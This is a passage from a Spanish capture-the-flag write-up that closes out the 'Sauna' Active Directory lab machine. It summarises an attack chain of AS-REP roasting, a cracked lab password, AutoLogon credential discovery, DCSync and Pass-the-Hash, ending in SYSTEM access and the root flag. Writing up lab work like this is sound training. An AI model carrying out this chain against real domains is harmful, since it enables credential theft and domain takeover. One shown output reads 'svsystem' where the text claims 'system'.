 type C:\Users\Administrator\Desktop\root.txt cierra formalmente la máquina, porque demuestra acceso al flag

Qué se espera obtener:

- 1 una identidad de muy alto privilegio, normalmente nt authority\system
- 1 el hostname SAUNA
- 1 el contenido del root.txt

Qué parte de la salida interesa de verdad:

- 1 el usuario efectivo
- 1 el nombre del host
- 1 el flag final

Cómo cambia la decisión siguiente:

- 1 si todo sale como se espera, la máquina queda cerrada
- 1 a partir de ahí, ya solo quedará consolidar el writeup didáctico

checks

Comprobar que whoami devuelve contexto de privilegio máximo.

Confirmar que hostname sigue siendo SAUNA.

Verificar que root.txt es legible desde esta shell.

writeup notes

El cierre de Sauna no dependió de una escalada local clásica en el DC, sino de una cadena de Active Directory bien interpretada: identidad pública, abuso Kerberos, reutilización de credenciales, descubrimiento de AutoLogon, salto a una cuenta con permisos delegados y explotación de DCSync para obtener el hash del administrador. El acceso final por Pass-the-Hash confirmó el control total del dominio.

Lección reutilizable: en entornos AD, una cuenta aparentemente modesta puede esconder el verdadero punto de quiebre del caso. Cuando una cuenta permite replicación de secretos del dominio, el objetivo deja de ser "escalar un poco más" y pasa a ser convertir correctamente ese permiso en control total verificable.

Ejecutamos el bloque y revisamos la salida

```
C:\Windows\system32> whoami
nt authority\svsystem
C:\Windows\system32> hostname
SAUNA
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
2ebc5339eff500834123056f79cad936
```

objective

Cerrar formalmente la máquina Sauna con evidencia final de compromiso total y dejar consolidada la cadena técnica completa para el futuro MD didáctico.

verified facts

La shell obtenida mediante Pass-the-Hash tiene privilegio máximo en el objetivo.

La identidad efectiva del contexto actual es:

```
1 nt authority\system
```

El host comprometido es:

```
1 SAUNA
```

El flag final ha sido leído correctamente desde:

```
1 C:\Users\Administrator\Desktop\root.txt
```

Valor obtenido:

```
1 2ebc5339eff500834123056f79cad936
```

Con esto queda verificado el compromiso total del controlador de dominio.

assumptions

Ya no queda ninguna hipótesis operativa relevante para resolver la máquina. La cadena principal está cerrada de extremo a extremo.

La única tarea pendiente a partir de aquí es editorial: consolidar el caso en un writeup didáctico limpio, ordenado y trazable.

method

Se toma la shell final y se verifica de forma mínima pero suficiente:

```
1 identidad efectiva
```

```
1 nombre del host
```

```
1 acceso al flag final
```

No se añaden más comprobaciones porque ya no aportan valor a la resolución del caso.

answer

La máquina queda cerrada.

La evidencia final confirma exactamente el resultado que se esperaba en la fase de cierre:

```
1 control total del sistema
```

```
1 contexto SYSTEM
```

```
1 lectura correcta del root.txt
```

La cadena técnica completa queda así:

```
1 enumeración inicial de un entorno Windows con señales claras de Active Directory;
```

```
2 uso de la web pública como fuente de nombres reales;
```

```
3 derivación de usuarios candidatos;
```

```
4 validación de la convención inicial + apellido;
```

```
5 obtención de AS-REP hash para fsmith;
```

```
6 recuperación offline de la contraseña Thestrokes23;
```

```
7 acceso remoto por WinRM como fsmith;
```

```
8 hallazgo en el registro de credenciales AutoLogon;
```

```
9 validación de la cuenta real svc_loanmgr;
```

```
10 acceso remoto por WinRM como svc_loanmgr;
```

```
11 comprobación de que el valor real de la cuenta estaba en Active Directory y no en privilegios locales;
```

- 12 ejecución de DCSync con `svc_loanmgr` para extraer el hash del Administrator;
- 13 Pass-the-Hash con Administrator;
- 14 shell final como `nt authority\system`;
- 15 lectura del `root.txt`.

Qué hallazgo domina ahora: compromiso total verificado del controlador de dominio.

Qué rama principal sigue activa: ninguna operativa; la explotación ha terminado y el caso está resuelto.

Qué ramas secundarias quedan anotadas: ninguna necesaria para la resolución.

Cuál es el siguiente paso único: consolidar todo en el MD final didáctico.

commands

```
whoami  
hostname  
type C:\Users\Administrator\Desktop\root.txt
```

Estos tres comandos cierran la máquina porque confirman lo único que ya importa al final del caso:

- 1 el nivel real de privilegio
- 1 el host comprometido
- 1 el acceso al flag final

checks

Comprobar que el contexto es `nt authority\system`.

Comprobar que el host sigue siendo SAUNA.

Comprobar que el `root.txt` es legible y queda registrado correctamente en las notas.

Dar por cerrada la parte técnica de explotación y no seguir añadiendo ruido innecesario.

writeup notes

Sauna es una máquina de Active Directory cuya resolución no depende de una única debilidad aislada, sino de una cadena bien interpretada. La web pública aporta nombres reales, esos nombres permiten derivar usuarios plausibles, Kerberos ofrece un punto de entrada mediante ASREProasting, el acceso inicial conduce a una credencial expuesta en AutoLogon y esa segunda cuenta revela su verdadero valor en permisos delegados de dominio. El punto decisivo del caso llega cuando `svc_loanmgr` demuestra capacidad de DCSync, lo que permite extraer el hash del Administrator y convertirlo en control total mediante Pass-the-Hash.

Lección reutilizable:

En Active Directory, una cuenta aparentemente modesta puede ser mucho más peligrosa por sus permisos delegados en el dominio que por sus privilegios locales en el host. Por eso, cuando una cuenta no destaca localmente, no conviene descartarla: a menudo el verdadero salto está en lo que puede hacer contra el dominio y no en lo que puede hacer en la máquina donde se ha iniciado sesión.